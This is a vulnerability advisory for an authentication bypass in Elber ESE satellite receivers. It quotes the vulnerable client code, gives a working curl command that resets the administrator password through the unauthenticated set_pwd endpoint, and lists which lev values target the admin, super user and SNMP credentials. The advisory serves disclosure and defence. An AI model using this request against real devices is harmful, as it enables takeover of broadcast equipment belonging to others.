Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass

`  
Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass  
  
  
Vendor: Elber S.r.l.  
Product web page: https://www.elber.it  
Affected version: 1.5.179 Revision 904  
1.5.56 Revision 884  
1.229 Revision 440  
  
Summary: ESE (Elber Satellite Equipment) product line, designed for the  
high-end radio contribution and distribution market, where quality and  
reliability are most important. The Elber IRD (Integrated Receiver Decoder)  
ESE-01 offers a professional audio quality (and composite video) at an  
excellent quality/price ratio. The development of digital satellite contribution  
networks and the need to connect a large number of sites require a cheap  
but reliable and performing satellite receiver with integrated decoder.  
  
Desc: The device suffers from an authentication bypass vulnerability through  
a direct and unauthorized access to the password management functionality. The  
issue allows attackers to bypass authentication by manipulating the set_pwd  
endpoint that enables them to overwrite the password of any user within the  
system. This grants unauthorized and administrative access to protected areas  
of the application compromising the device's system security.  
  
--------------------------------------------------------------------------  
/modules/pwd.html  
------------------  
50: function apply_pwd(level, pwd)  
51: {  
52: $.get("json_data/set_pwd", {lev:level, pass:pwd},  
53: function(data){  
54: //$.alert({title:'Operation',text:data});  
55: show_message(data);  
56: }).fail(function(error){  
57: show_message('Error ' + error.status, 'error');  
58: });  
59: }  
  
--------------------------------------------------------------------------  
  
Tested on: NBFM Controller  
embOS/IP  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2024-5820  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5820.php  
  
  
18.08.2023  
  
--  
  
  
$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234  
  
Ref (lev param):  
  
Level 7 = SNMP Write Community (snmp_write_pwd)  
Level 6 = SNMP Read Community (snmp_read_pwd)  
Level 5 = Custom Password? hidden. (custom_pwd)  
Level 4 = Display Password (display_pwd)?  
Level 2 = Administrator Password (admin_pwd)  
Level 1 = Super User Password (puser_pwd)  
Level 0 = User Password (user_pwd)  
`